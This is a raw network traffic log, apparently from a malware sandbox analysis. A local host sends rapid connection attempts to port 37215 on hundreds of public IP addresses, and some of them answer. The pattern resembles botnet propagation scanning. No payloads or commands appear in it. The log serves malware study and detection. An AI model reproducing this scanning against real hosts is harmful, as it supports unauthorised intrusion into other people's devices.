Nov 19, 2023 09:16:06.766243935 CET	45796	37215	192.168.2.23	197.169.180.93
Nov 19, 2023 09:16:06.766244888 CET	45796	37215	192.168.2.23	41.216.206.248
Nov 19, 2023 09:16:06.766252995 CET	45796	37215	192.168.2.23	197.117.117.241
Nov 19, 2023 09:16:06.766268969 CET	45796	37215	192.168.2.23	41.36.121.225
Nov 19, 2023 09:16:06.766279936 CET	45796	37215	192.168.2.23	197.33.250.64
Nov 19, 2023 09:16:06.766279936 CET	45796	37215	192.168.2.23	156.144.52.50
Nov 19, 2023 09:16:06.766294003 CET	45796	37215	192.168.2.23	156.87.107.42
Nov 19, 2023 09:16:06.766310930 CET	45796	37215	192.168.2.23	41.98.236.124
Nov 19, 2023 09:16:06.766314030 CET	45796	37215	192.168.2.23	156.165.135.210
Nov 19, 2023 09:16:06.766319990 CET	45796	37215	192.168.2.23	197.216.219.127
Nov 19, 2023 09:16:06.766329050 CET	45796	37215	192.168.2.23	156.44.81.129
Nov 19, 2023 09:16:06.766343117 CET	45796	37215	192.168.2.23	197.163.4.208
Nov 19, 2023 09:16:06.766350031 CET	45796	37215	192.168.2.23	41.77.217.51
Nov 19, 2023 09:16:06.766350031 CET	45796	37215	192.168.2.23	41.101.28.157
Nov 19, 2023 09:16:06.766351938 CET	45796	37215	192.168.2.23	156.1.247.79
Nov 19, 2023 09:16:06.766369104 CET	45796	37215	192.168.2.23	156.19.243.219
Nov 19, 2023 09:16:06.766377926 CET	45796	37215	192.168.2.23	41.41.17.112
Nov 19, 2023 09:16:06.766386032 CET	45796	37215	192.168.2.23	41.143.153.70
Nov 19, 2023 09:16:06.766391993 CET	45796	37215	192.168.2.23	197.6.86.247
Nov 19, 2023 09:16:06.766406059 CET	45796	37215	192.168.2.23	41.187.187.230
Nov 19, 2023 09:16:06.766406059 CET	45796	37215	192.168.2.23	156.123.238.45
Nov 19, 2023 09:16:06.766427040 CET	45796	37215	192.168.2.23	41.255.12.221
Nov 19, 2023 09:16:06.766428947 CET	45796	37215	192.168.2.23	41.172.5.238
Nov 19, 2023 09:16:06.766450882 CET	45796	37215	192.168.2.23	156.45.132.146
Nov 19, 2023 09:16:06.766453028 CET	45796	37215	192.168.2.23	197.22.113.108
Nov 19, 2023 09:16:06.766462088 CET	45796	37215	192.168.2.23	156.9.109.252
Nov 19, 2023 09:16:06.766462088 CET	45796	37215	192.168.2.23	156.63.100.110
Nov 19, 2023 09:16:06.766469002 CET	45796	37215	192.168.2.23	41.145.43.168
Nov 19, 2023 09:16:06.766479015 CET	45796	37215	192.168.2.23	197.72.15.0
Nov 19, 2023 09:16:06.766480923 CET	45796	37215	192.168.2.23	197.118.60.177
Nov 19, 2023 09:16:06.766501904 CET	45796	37215	192.168.2.23	156.108.220.68
Nov 19, 2023 09:16:06.766501904 CET	45796	37215	192.168.2.23	156.156.252.14
Nov 19, 2023 09:16:06.766508102 CET	45796	37215	192.168.2.23	156.141.159.185
Nov 19, 2023 09:16:06.766518116 CET	45796	37215	192.168.2.23	41.253.42.35
Nov 19, 2023 09:16:06.766531944 CET	45796	37215	192.168.2.23	156.83.7.69
Nov 19, 2023 09:16:06.766540051 CET	45796	37215	192.168.2.23	156.206.228.240
Nov 19, 2023 09:16:06.766544104 CET	45796	37215	192.168.2.23	41.3.20.58
Nov 19, 2023 09:16:06.766555071 CET	45796	37215	192.168.2.23	156.181.102.60
Nov 19, 2023 09:16:06.766571045 CET	45796	37215	192.168.2.23	156.242.5.149
Nov 19, 2023 09:16:06.766575098 CET	45796	37215	192.168.2.23	41.222.210.115
Nov 19, 2023 09:16:06.766582012 CET	45796	37215	192.168.2.23	197.114.55.147
Nov 19, 2023 09:16:06.766593933 CET	45796	37215	192.168.2.23	197.57.131.123
Nov 19, 2023 09:16:06.766593933 CET	45796	37215	192.168.2.23	41.166.107.14
Nov 19, 2023 09:16:06.766598940 CET	45796	37215	192.168.2.23	41.99.180.244
Nov 19, 2023 09:16:06.766608953 CET	45796	37215	192.168.2.23	156.185.93.164
Nov 19, 2023 09:16:06.766612053 CET	45796	37215	192.168.2.23	41.189.154.152
Nov 19, 2023 09:16:06.766633034 CET	45796	37215	192.168.2.23	41.61.220.150
Nov 19, 2023 09:16:06.766633034 CET	45796	37215	192.168.2.23	156.54.151.193
Nov 19, 2023 09:16:06.766655922 CET	45796	37215	192.168.2.23	41.189.10.232
Nov 19, 2023 09:16:06.766661882 CET	45796	37215	192.168.2.23	197.247.157.105
Nov 19, 2023 09:16:06.766664982 CET	45796	37215	192.168.2.23	156.255.255.96
Nov 19, 2023 09:16:06.766685963 CET	45796	37215	192.168.2.23	156.14.173.189
Nov 19, 2023 09:16:06.766685963 CET	45796	37215	192.168.2.23	197.67.5.159
Nov 19, 2023 09:16:06.766685963 CET	45796	37215	192.168.2.23	41.219.231.12
Nov 19, 2023 09:16:06.766701937 CET	45796	37215	192.168.2.23	197.186.187.129
Nov 19, 2023 09:16:06.766707897 CET	45796	37215	192.168.2.23	197.242.250.11
Nov 19, 2023 09:16:06.766710043 CET	45796	37215	192.168.2.23	41.11.96.215
Nov 19, 2023 09:16:06.766719103 CET	45796	37215	192.168.2.23	41.195.35.230
Nov 19, 2023 09:16:06.766725063 CET	45796	37215	192.168.2.23	197.22.166.88
Nov 19, 2023 09:16:06.766733885 CET	45796	37215	192.168.2.23	156.29.196.180
Nov 19, 2023 09:16:06.766733885 CET	45796	37215	192.168.2.23	197.226.25.222
Nov 19, 2023 09:16:06.766752958 CET	45796	37215	192.168.2.23	197.125.119.8
Nov 19, 2023 09:16:06.766763926 CET	45796	37215	192.168.2.23	197.76.39.190
Nov 19, 2023 09:16:06.766774893 CET	45796	37215	192.168.2.23	41.208.158.197
Nov 19, 2023 09:16:06.766776085 CET	45796	37215	192.168.2.23	156.193.160.54
Nov 19, 2023 09:16:06.766783953 CET	45796	37215	192.168.2.23	197.55.125.245
Nov 19, 2023 09:16:06.766807079 CET	45796	37215	192.168.2.23	197.175.10.28
Nov 19, 2023 09:16:06.766810894 CET	45796	37215	192.168.2.23	41.33.138.92
Nov 19, 2023 09:16:06.766810894 CET	45796	37215	192.168.2.23	41.108.3.245
Nov 19, 2023 09:16:06.766823053 CET	45796	37215	192.168.2.23	156.116.201.186
Nov 19, 2023 09:16:06.766833067 CET	45796	37215	192.168.2.23	197.80.197.33
Nov 19, 2023 09:16:06.766838074 CET	45796	37215	192.168.2.23	197.101.197.118
Nov 19, 2023 09:16:06.766844034 CET	45796	37215	192.168.2.23	197.183.148.229
Nov 19, 2023 09:16:06.766853094 CET	45796	37215	192.168.2.23	197.49.94.1
Nov 19, 2023 09:16:06.766868114 CET	45796	37215	192.168.2.23	41.10.158.161
Nov 19, 2023 09:16:06.766872883 CET	45796	37215	192.168.2.23	197.232.232.115
Nov 19, 2023 09:16:06.766872883 CET	45796	37215	192.168.2.23	197.60.184.150
Nov 19, 2023 09:16:06.766895056 CET	45796	37215	192.168.2.23	156.186.222.157
Nov 19, 2023 09:16:06.766905069 CET	45796	37215	192.168.2.23	197.2.203.2
Nov 19, 2023 09:16:06.766907930 CET	45796	37215	192.168.2.23	156.184.49.84
Nov 19, 2023 09:16:06.766913891 CET	45796	37215	192.168.2.23	41.185.67.52
Nov 19, 2023 09:16:06.766927958 CET	45796	37215	192.168.2.23	156.116.102.182
Nov 19, 2023 09:16:06.766932011 CET	45796	37215	192.168.2.23	197.133.100.196
Nov 19, 2023 09:16:06.766941071 CET	45796	37215	192.168.2.23	41.1.213.159
Nov 19, 2023 09:16:06.766947985 CET	45796	37215	192.168.2.23	197.3.206.49
Nov 19, 2023 09:16:06.766961098 CET	45796	37215	192.168.2.23	197.152.197.129
Nov 19, 2023 09:16:06.766961098 CET	45796	37215	192.168.2.23	197.249.220.116
Nov 19, 2023 09:16:06.766966105 CET	45796	37215	192.168.2.23	197.51.124.243
Nov 19, 2023 09:16:06.766977072 CET	45796	37215	192.168.2.23	197.117.238.164
Nov 19, 2023 09:16:06.766997099 CET	45796	37215	192.168.2.23	41.123.3.203
Nov 19, 2023 09:16:06.767008066 CET	45796	37215	192.168.2.23	41.37.215.43
Nov 19, 2023 09:16:06.767011881 CET	45796	37215	192.168.2.23	197.171.192.7
Nov 19, 2023 09:16:06.767016888 CET	45796	37215	192.168.2.23	197.187.5.14
Nov 19, 2023 09:16:06.767016888 CET	45796	37215	192.168.2.23	197.165.237.215
Nov 19, 2023 09:16:06.767045021 CET	45796	37215	192.168.2.23	156.206.94.244
Nov 19, 2023 09:16:06.767045021 CET	45796	37215	192.168.2.23	156.140.137.91
Nov 19, 2023 09:16:06.767047882 CET	45796	37215	192.168.2.23	41.103.129.48
Nov 19, 2023 09:16:06.767061949 CET	45796	37215	192.168.2.23	156.10.39.180
Nov 19, 2023 09:16:06.767075062 CET	45796	37215	192.168.2.23	197.114.205.208
Nov 19, 2023 09:16:06.767076015 CET	45796	37215	192.168.2.23	41.10.10.182
Nov 19, 2023 09:16:06.767086983 CET	45796	37215	192.168.2.23	156.197.24.186
Nov 19, 2023 09:16:06.767101049 CET	45796	37215	192.168.2.23	197.156.160.234
Nov 19, 2023 09:16:06.767126083 CET	45796	37215	192.168.2.23	197.234.31.156
Nov 19, 2023 09:16:06.767126083 CET	45796	37215	192.168.2.23	156.117.117.139
Nov 19, 2023 09:16:06.767132044 CET	45796	37215	192.168.2.23	197.199.154.130
Nov 19, 2023 09:16:06.767138004 CET	45796	37215	192.168.2.23	156.116.8.129
Nov 19, 2023 09:16:06.767148972 CET	45796	37215	192.168.2.23	197.56.148.126
Nov 19, 2023 09:16:06.767154932 CET	45796	37215	192.168.2.23	41.150.190.129
Nov 19, 2023 09:16:06.767174006 CET	45796	37215	192.168.2.23	197.93.180.156
Nov 19, 2023 09:16:06.767177105 CET	45796	37215	192.168.2.23	197.131.118.190
Nov 19, 2023 09:16:06.767180920 CET	45796	37215	192.168.2.23	197.213.183.114
Nov 19, 2023 09:16:06.767188072 CET	45796	37215	192.168.2.23	156.185.61.251
Nov 19, 2023 09:16:06.767206907 CET	45796	37215	192.168.2.23	41.180.70.223
Nov 19, 2023 09:16:06.767206907 CET	45796	37215	192.168.2.23	156.48.125.215
Nov 19, 2023 09:16:06.767218113 CET	45796	37215	192.168.2.23	156.45.240.69
Nov 19, 2023 09:16:06.767234087 CET	45796	37215	192.168.2.23	41.52.15.234
Nov 19, 2023 09:16:06.767241001 CET	45796	37215	192.168.2.23	197.46.117.170
Nov 19, 2023 09:16:06.767244101 CET	45796	37215	192.168.2.23	41.155.131.95
Nov 19, 2023 09:16:06.767252922 CET	45796	37215	192.168.2.23	156.41.232.60
Nov 19, 2023 09:16:06.767265081 CET	45796	37215	192.168.2.23	156.235.222.200
Nov 19, 2023 09:16:06.767280102 CET	45796	37215	192.168.2.23	41.6.76.202
Nov 19, 2023 09:16:06.767282963 CET	45796	37215	192.168.2.23	41.71.76.7
Nov 19, 2023 09:16:06.767294884 CET	45796	37215	192.168.2.23	197.27.203.31
Nov 19, 2023 09:16:06.767307043 CET	45796	37215	192.168.2.23	41.189.205.137
Nov 19, 2023 09:16:06.767316103 CET	45796	37215	192.168.2.23	197.190.175.34
Nov 19, 2023 09:16:06.767321110 CET	45796	37215	192.168.2.23	41.241.81.250
Nov 19, 2023 09:16:06.767338991 CET	45796	37215	192.168.2.23	41.102.218.29
Nov 19, 2023 09:16:06.767345905 CET	45796	37215	192.168.2.23	197.66.56.55
Nov 19, 2023 09:16:06.767350912 CET	45796	37215	192.168.2.23	156.48.127.201
Nov 19, 2023 09:16:06.767355919 CET	45796	37215	192.168.2.23	197.247.165.13
Nov 19, 2023 09:16:06.767366886 CET	45796	37215	192.168.2.23	197.85.59.35
Nov 19, 2023 09:16:06.767379045 CET	45796	37215	192.168.2.23	197.99.215.0
Nov 19, 2023 09:16:06.767389059 CET	45796	37215	192.168.2.23	41.109.124.78
Nov 19, 2023 09:16:06.767409086 CET	45796	37215	192.168.2.23	156.29.107.51
Nov 19, 2023 09:16:06.767415047 CET	45796	37215	192.168.2.23	41.182.171.176
Nov 19, 2023 09:16:06.767415047 CET	45796	37215	192.168.2.23	197.67.41.28
Nov 19, 2023 09:16:06.767421961 CET	45796	37215	192.168.2.23	156.93.99.91
Nov 19, 2023 09:16:06.767441988 CET	45796	37215	192.168.2.23	197.204.209.34
Nov 19, 2023 09:16:06.767441988 CET	45796	37215	192.168.2.23	156.126.58.66
Nov 19, 2023 09:16:06.767446995 CET	45796	37215	192.168.2.23	197.48.213.89
Nov 19, 2023 09:16:06.767457008 CET	45796	37215	192.168.2.23	41.60.207.53
Nov 19, 2023 09:16:06.767472982 CET	45796	37215	192.168.2.23	197.182.58.195
Nov 19, 2023 09:16:06.767478943 CET	45796	37215	192.168.2.23	197.38.234.131
Nov 19, 2023 09:16:06.767498016 CET	45796	37215	192.168.2.23	197.188.239.12
Nov 19, 2023 09:16:06.767499924 CET	45796	37215	192.168.2.23	41.242.206.81
Nov 19, 2023 09:16:06.767508984 CET	45796	37215	192.168.2.23	41.78.38.249
Nov 19, 2023 09:16:06.767523050 CET	45796	37215	192.168.2.23	197.155.254.124
Nov 19, 2023 09:16:06.767532110 CET	45796	37215	192.168.2.23	156.166.107.60
Nov 19, 2023 09:16:06.767543077 CET	45796	37215	192.168.2.23	197.45.171.61
Nov 19, 2023 09:16:06.767574072 CET	45796	37215	192.168.2.23	41.19.95.20
Nov 19, 2023 09:16:06.767574072 CET	45796	37215	192.168.2.23	41.76.94.247
Nov 19, 2023 09:16:06.767580986 CET	45796	37215	192.168.2.23	41.1.228.89
Nov 19, 2023 09:16:06.767580986 CET	45796	37215	192.168.2.23	41.14.187.32
Nov 19, 2023 09:16:06.767585039 CET	45796	37215	192.168.2.23	156.203.107.73
Nov 19, 2023 09:16:06.767601967 CET	45796	37215	192.168.2.23	156.210.130.234
Nov 19, 2023 09:16:06.767615080 CET	45796	37215	192.168.2.23	197.171.223.63
Nov 19, 2023 09:16:06.767612934 CET	45796	37215	192.168.2.23	156.130.176.63
Nov 19, 2023 09:16:06.767617941 CET	45796	37215	192.168.2.23	197.129.78.128
Nov 19, 2023 09:16:06.767632961 CET	45796	37215	192.168.2.23	41.9.56.119
Nov 19, 2023 09:16:06.767644882 CET	45796	37215	192.168.2.23	197.77.217.227
Nov 19, 2023 09:16:06.767644882 CET	45796	37215	192.168.2.23	41.140.184.146
Nov 19, 2023 09:16:06.767674923 CET	45796	37215	192.168.2.23	156.30.44.198
Nov 19, 2023 09:16:06.767679930 CET	45796	37215	192.168.2.23	156.113.82.117
Nov 19, 2023 09:16:06.767679930 CET	45796	37215	192.168.2.23	41.201.132.203
Nov 19, 2023 09:16:06.767679930 CET	45796	37215	192.168.2.23	156.156.199.97
Nov 19, 2023 09:16:06.767687082 CET	45796	37215	192.168.2.23	41.231.96.14
Nov 19, 2023 09:16:06.767688990 CET	45796	37215	192.168.2.23	197.159.38.169
Nov 19, 2023 09:16:06.767699957 CET	45796	37215	192.168.2.23	156.149.45.7
Nov 19, 2023 09:16:06.767708063 CET	45796	37215	192.168.2.23	156.48.100.1
Nov 19, 2023 09:16:06.767718077 CET	45796	37215	192.168.2.23	197.4.150.253
Nov 19, 2023 09:16:06.767733097 CET	45796	37215	192.168.2.23	41.173.102.251
Nov 19, 2023 09:16:06.767739058 CET	45796	37215	192.168.2.23	156.22.216.85
Nov 19, 2023 09:16:06.767756939 CET	45796	37215	192.168.2.23	156.101.10.152
Nov 19, 2023 09:16:06.767760038 CET	45796	37215	192.168.2.23	156.146.171.252
Nov 19, 2023 09:16:06.767770052 CET	45796	37215	192.168.2.23	156.111.105.111
Nov 19, 2023 09:16:06.767781973 CET	45796	37215	192.168.2.23	41.71.23.16
Nov 19, 2023 09:16:06.767790079 CET	45796	37215	192.168.2.23	156.183.50.94
Nov 19, 2023 09:16:06.767791986 CET	45796	37215	192.168.2.23	41.5.186.237
Nov 19, 2023 09:16:06.767808914 CET	45796	37215	192.168.2.23	197.115.142.9
Nov 19, 2023 09:16:06.767810106 CET	45796	37215	192.168.2.23	41.173.141.207
Nov 19, 2023 09:16:06.767827034 CET	45796	37215	192.168.2.23	41.163.185.28
Nov 19, 2023 09:16:06.767829895 CET	45796	37215	192.168.2.23	156.31.78.30
Nov 19, 2023 09:16:06.767842054 CET	45796	37215	192.168.2.23	41.50.118.51
Nov 19, 2023 09:16:06.767852068 CET	45796	37215	192.168.2.23	41.134.80.128
Nov 19, 2023 09:16:06.767852068 CET	45796	37215	192.168.2.23	197.13.6.193
Nov 19, 2023 09:16:06.767862082 CET	45796	37215	192.168.2.23	197.137.174.42
Nov 19, 2023 09:16:06.767874956 CET	45796	37215	192.168.2.23	156.212.51.235
Nov 19, 2023 09:16:06.767879963 CET	45796	37215	192.168.2.23	156.211.84.230
Nov 19, 2023 09:16:06.767889023 CET	45796	37215	192.168.2.23	41.63.193.145
Nov 19, 2023 09:16:06.767894030 CET	45796	37215	192.168.2.23	156.44.25.58
Nov 19, 2023 09:16:06.767903090 CET	45796	37215	192.168.2.23	197.231.162.74
Nov 19, 2023 09:16:06.767905951 CET	45796	37215	192.168.2.23	41.217.202.94
Nov 19, 2023 09:16:06.767925024 CET	45796	37215	192.168.2.23	197.77.152.229
Nov 19, 2023 09:16:06.767929077 CET	45796	37215	192.168.2.23	197.187.183.73
Nov 19, 2023 09:16:06.767941952 CET	45796	37215	192.168.2.23	156.22.50.201
Nov 19, 2023 09:16:06.767946005 CET	45796	37215	192.168.2.23	156.114.239.221
Nov 19, 2023 09:16:06.767961025 CET	45796	37215	192.168.2.23	156.101.163.187
Nov 19, 2023 09:16:06.767972946 CET	45796	37215	192.168.2.23	197.75.165.116
Nov 19, 2023 09:16:06.767976046 CET	45796	37215	192.168.2.23	197.184.121.223
Nov 19, 2023 09:16:06.767990112 CET	45796	37215	192.168.2.23	41.109.34.21
Nov 19, 2023 09:16:06.767995119 CET	45796	37215	192.168.2.23	41.17.119.129
Nov 19, 2023 09:16:06.767997980 CET	45796	37215	192.168.2.23	197.8.65.68
Nov 19, 2023 09:16:06.768008947 CET	45796	37215	192.168.2.23	156.40.121.82
Nov 19, 2023 09:16:06.768012047 CET	45796	37215	192.168.2.23	156.50.209.32
Nov 19, 2023 09:16:06.768026114 CET	45796	37215	192.168.2.23	41.94.213.98
Nov 19, 2023 09:16:06.768035889 CET	45796	37215	192.168.2.23	156.248.216.68
Nov 19, 2023 09:16:06.768049955 CET	45796	37215	192.168.2.23	156.73.119.47
Nov 19, 2023 09:16:06.768050909 CET	45796	37215	192.168.2.23	197.0.65.211
Nov 19, 2023 09:16:06.768064022 CET	45796	37215	192.168.2.23	197.104.120.174
Nov 19, 2023 09:16:06.768074036 CET	45796	37215	192.168.2.23	41.144.20.254
Nov 19, 2023 09:16:06.768084049 CET	45796	37215	192.168.2.23	197.231.122.196
Nov 19, 2023 09:16:06.768095970 CET	45796	37215	192.168.2.23	156.32.79.46
Nov 19, 2023 09:16:06.768100023 CET	45796	37215	192.168.2.23	156.69.183.196
Nov 19, 2023 09:16:06.768109083 CET	45796	37215	192.168.2.23	156.223.3.239
Nov 19, 2023 09:16:06.768131018 CET	45796	37215	192.168.2.23	41.63.52.67
Nov 19, 2023 09:16:06.768134117 CET	45796	37215	192.168.2.23	197.187.57.230
Nov 19, 2023 09:16:06.768146038 CET	45796	37215	192.168.2.23	156.217.225.34
Nov 19, 2023 09:16:06.768147945 CET	45796	37215	192.168.2.23	41.176.141.21
Nov 19, 2023 09:16:06.768157005 CET	45796	37215	192.168.2.23	197.56.44.194
Nov 19, 2023 09:16:06.768172979 CET	45796	37215	192.168.2.23	41.181.21.69
Nov 19, 2023 09:16:06.768184900 CET	45796	37215	192.168.2.23	156.82.67.106
Nov 19, 2023 09:16:06.768193007 CET	45796	37215	192.168.2.23	197.243.26.209
Nov 19, 2023 09:16:06.768213987 CET	45796	37215	192.168.2.23	41.28.195.232
Nov 19, 2023 09:16:06.768213987 CET	45796	37215	192.168.2.23	41.201.6.236
Nov 19, 2023 09:16:06.768218994 CET	45796	37215	192.168.2.23	41.91.2.91
Nov 19, 2023 09:16:06.768224001 CET	45796	37215	192.168.2.23	41.245.70.90
Nov 19, 2023 09:16:06.768241882 CET	45796	37215	192.168.2.23	156.68.187.69
Nov 19, 2023 09:16:06.768244028 CET	45796	37215	192.168.2.23	156.193.149.147
Nov 19, 2023 09:16:06.768265963 CET	45796	37215	192.168.2.23	197.155.121.136
Nov 19, 2023 09:16:06.768265963 CET	45796	37215	192.168.2.23	197.47.84.239
Nov 19, 2023 09:16:06.768265963 CET	45796	37215	192.168.2.23	156.142.206.21
Nov 19, 2023 09:16:06.768289089 CET	45796	37215	192.168.2.23	41.88.38.35
Nov 19, 2023 09:16:06.768289089 CET	45796	37215	192.168.2.23	156.168.181.111
Nov 19, 2023 09:16:06.768306971 CET	45796	37215	192.168.2.23	197.150.93.192
Nov 19, 2023 09:16:06.768315077 CET	45796	37215	192.168.2.23	41.157.116.78
Nov 19, 2023 09:16:06.768316984 CET	45796	37215	192.168.2.23	156.149.141.96
Nov 19, 2023 09:16:06.768321037 CET	45796	37215	192.168.2.23	41.141.163.8
Nov 19, 2023 09:16:06.768332958 CET	45796	37215	192.168.2.23	197.99.213.31
Nov 19, 2023 09:16:06.768348932 CET	45796	37215	192.168.2.23	156.179.168.34
Nov 19, 2023 09:16:06.768348932 CET	45796	37215	192.168.2.23	197.193.87.83
Nov 19, 2023 09:16:06.768368006 CET	45796	37215	192.168.2.23	197.152.170.229
Nov 19, 2023 09:16:06.768378019 CET	45796	37215	192.168.2.23	41.84.15.187
Nov 19, 2023 09:16:06.768392086 CET	45796	37215	192.168.2.23	197.92.247.6
Nov 19, 2023 09:16:06.768403053 CET	45796	37215	192.168.2.23	197.167.250.235
Nov 19, 2023 09:16:06.768404007 CET	45796	37215	192.168.2.23	197.127.204.77
Nov 19, 2023 09:16:06.768409014 CET	45796	37215	192.168.2.23	156.195.201.238
Nov 19, 2023 09:16:06.768423080 CET	45796	37215	192.168.2.23	197.5.246.42
Nov 19, 2023 09:16:06.768435001 CET	45796	37215	192.168.2.23	197.88.51.251
Nov 19, 2023 09:16:06.768446922 CET	45796	37215	192.168.2.23	156.254.138.103
Nov 19, 2023 09:16:06.768455982 CET	45796	37215	192.168.2.23	156.48.21.159
Nov 19, 2023 09:16:06.768469095 CET	45796	37215	192.168.2.23	197.75.46.67
Nov 19, 2023 09:16:06.768476009 CET	45796	37215	192.168.2.23	197.70.14.93
Nov 19, 2023 09:16:06.768481970 CET	45796	37215	192.168.2.23	197.194.10.37
Nov 19, 2023 09:16:06.768498898 CET	45796	37215	192.168.2.23	156.224.248.93
Nov 19, 2023 09:16:06.768498898 CET	45796	37215	192.168.2.23	41.172.222.63
Nov 19, 2023 09:16:06.768517017 CET	45796	37215	192.168.2.23	197.174.55.18
Nov 19, 2023 09:16:06.768517017 CET	45796	37215	192.168.2.23	156.155.185.97
Nov 19, 2023 09:16:06.768517971 CET	45796	37215	192.168.2.23	197.210.186.186
Nov 19, 2023 09:16:06.768517971 CET	45796	37215	192.168.2.23	197.15.69.162
Nov 19, 2023 09:16:06.768529892 CET	45796	37215	192.168.2.23	156.45.146.155
Nov 19, 2023 09:16:06.768543005 CET	45796	37215	192.168.2.23	156.135.145.106
Nov 19, 2023 09:16:06.768560886 CET	45796	37215	192.168.2.23	41.197.168.218
Nov 19, 2023 09:16:06.768562078 CET	45796	37215	192.168.2.23	156.90.189.55
Nov 19, 2023 09:16:06.768573046 CET	45796	37215	192.168.2.23	197.81.16.76
Nov 19, 2023 09:16:06.768589020 CET	45796	37215	192.168.2.23	41.131.200.247
Nov 19, 2023 09:16:06.768591881 CET	45796	37215	192.168.2.23	41.80.15.164
Nov 19, 2023 09:16:06.768611908 CET	45796	37215	192.168.2.23	197.175.104.213
Nov 19, 2023 09:16:06.768613100 CET	45796	37215	192.168.2.23	156.203.230.191
Nov 19, 2023 09:16:06.768613100 CET	45796	37215	192.168.2.23	41.111.127.218
Nov 19, 2023 09:16:06.768626928 CET	45796	37215	192.168.2.23	197.182.77.67
Nov 19, 2023 09:16:06.768635988 CET	45796	37215	192.168.2.23	197.8.18.247
Nov 19, 2023 09:16:06.768651009 CET	45796	37215	192.168.2.23	156.251.189.36
Nov 19, 2023 09:16:06.768656015 CET	45796	37215	192.168.2.23	156.130.33.180
Nov 19, 2023 09:16:06.768666029 CET	45796	37215	192.168.2.23	156.123.55.159
Nov 19, 2023 09:16:06.768666983 CET	45796	37215	192.168.2.23	156.85.12.84
Nov 19, 2023 09:16:06.768685102 CET	45796	37215	192.168.2.23	41.157.190.233
Nov 19, 2023 09:16:06.768693924 CET	45796	37215	192.168.2.23	41.198.88.226
Nov 19, 2023 09:16:06.768702030 CET	45796	37215	192.168.2.23	197.254.126.187
Nov 19, 2023 09:16:06.768702984 CET	45796	37215	192.168.2.23	156.197.47.111
Nov 19, 2023 09:16:06.768718958 CET	45796	37215	192.168.2.23	197.22.149.136
Nov 19, 2023 09:16:06.768718958 CET	45796	37215	192.168.2.23	41.246.14.30
Nov 19, 2023 09:16:06.768738031 CET	45796	37215	192.168.2.23	156.181.107.159
Nov 19, 2023 09:16:06.768744946 CET	45796	37215	192.168.2.23	156.135.40.128
Nov 19, 2023 09:16:06.768758059 CET	45796	37215	192.168.2.23	197.160.238.155
Nov 19, 2023 09:16:06.768759012 CET	45796	37215	192.168.2.23	41.92.232.121
Nov 19, 2023 09:16:06.768770933 CET	45796	37215	192.168.2.23	197.173.122.243
Nov 19, 2023 09:16:06.768949986 CET	42096	37215	192.168.2.23	156.77.134.145
Nov 19, 2023 09:16:06.769006968 CET	42096	37215	192.168.2.23	156.77.134.145
Nov 19, 2023 09:16:06.769113064 CET	42098	37215	192.168.2.23	156.77.134.145
Nov 19, 2023 09:16:06.827147961 CET	37215	45796	156.239.3.75	192.168.2.23
Nov 19, 2023 09:16:06.834899902 CET	37215	45796	197.96.78.65	192.168.2.23
Nov 19, 2023 09:16:06.863758087 CET	37215	42096	156.77.134.145	192.168.2.23
Nov 19, 2023 09:16:06.863818884 CET	42096	37215	192.168.2.23	156.77.134.145
Nov 19, 2023 09:16:06.865031958 CET	37215	42096	156.77.134.145	192.168.2.23
Nov 19, 2023 09:16:06.865045071 CET	37215	42096	156.77.134.145	192.168.2.23
Nov 19, 2023 09:16:06.865154982 CET	37215	42098	156.77.134.145	192.168.2.23
Nov 19, 2023 09:16:06.865207911 CET	42098	37215	192.168.2.23	156.77.134.145
Nov 19, 2023 09:16:06.865284920 CET	42098	37215	192.168.2.23	156.77.134.145
Nov 19, 2023 09:16:06.889725924 CET	37215	45796	197.147.189.25	192.168.2.23
Nov 19, 2023 09:16:06.891244888 CET	37215	45796	41.83.171.137	192.168.2.23
Nov 19, 2023 09:16:06.895288944 CET	37215	45796	41.83.215.197	192.168.2.23
Nov 19, 2023 09:16:06.943979025 CET	24714	50580	34.16.131.147	192.168.2.23
Nov 19, 2023 09:16:06.950175047 CET	37215	45796	41.205.28.196	192.168.2.23
Nov 19, 2023 09:16:06.958661079 CET	37215	42096	156.77.134.145	192.168.2.23
Nov 19, 2023 09:16:06.960252047 CET	37215	42098	156.77.134.145	192.168.2.23
Nov 19, 2023 09:16:06.960314035 CET	42098	37215	192.168.2.23	156.77.134.145
Nov 19, 2023 09:16:06.991370916 CET	37215	45796	197.221.144.193	192.168.2.23
Nov 19, 2023 09:16:06.997814894 CET	37215	45796	41.221.208.194	192.168.2.23
Nov 19, 2023 09:16:07.007703066 CET	37215	45796	156.198.59.253	192.168.2.23
Nov 19, 2023 09:16:07.008953094 CET	37215	45796	41.36.121.225	192.168.2.23
Nov 19, 2023 09:16:07.008968115 CET	37215	45796	197.13.127.213	192.168.2.23
Nov 19, 2023 09:16:07.010085106 CET	37215	45796	197.56.148.126	192.168.2.23
Nov 19, 2023 09:16:07.014483929 CET	37215	45796	197.232.73.33	192.168.2.23
Nov 19, 2023 09:16:07.024039984 CET	37215	45796	197.251.248.16	192.168.2.23
Nov 19, 2023 09:16:07.060416937 CET	37215	45796	41.174.35.209	192.168.2.23
Nov 19, 2023 09:16:07.079667091 CET	37215	45796	156.235.222.200	192.168.2.23
Nov 19, 2023 09:16:07.082333088 CET	37215	45796	156.255.255.96	192.168.2.23
Nov 19, 2023 09:16:07.122914076 CET	37215	45796	156.146.56.10	192.168.2.23
Nov 19, 2023 09:16:07.624639034 CET	37215	45796	197.6.116.140	192.168.2.23
Nov 19, 2023 09:16:07.728705883 CET	37215	45796	197.7.185.226	192.168.2.23
Nov 19, 2023 09:16:07.865685940 CET	45796	37215	192.168.2.23	156.237.220.1
Nov 19, 2023 09:16:07.865690947 CET	45796	37215	192.168.2.23	197.13.72.49
Nov 19, 2023 09:16:07.865720987 CET	45796	37215	192.168.2.23	156.210.117.126
Nov 19, 2023 09:16:07.865726948 CET	45796	37215	192.168.2.23	41.7.11.48
Nov 19, 2023 09:16:07.865735054 CET	45796	37215	192.168.2.23	156.50.250.98
Nov 19, 2023 09:16:07.865735054 CET	45796	37215	192.168.2.23	197.30.11.142
Nov 19, 2023 09:16:07.865748882 CET	45796	37215	192.168.2.23	41.84.190.124
Nov 19, 2023 09:16:07.865747929 CET	45796	37215	192.168.2.23	41.29.202.143
Nov 19, 2023 09:16:07.865763903 CET	45796	37215	192.168.2.23	41.206.198.58
Nov 19, 2023 09:16:07.865772963 CET	45796	37215	192.168.2.23	41.7.140.38
Nov 19, 2023 09:16:07.865772963 CET	45796	37215	192.168.2.23	41.126.213.252
Nov 19, 2023 09:16:07.865793943 CET	45796	37215	192.168.2.23	41.69.115.35
Nov 19, 2023 09:16:07.865814924 CET	45796	37215	192.168.2.23	156.0.92.37
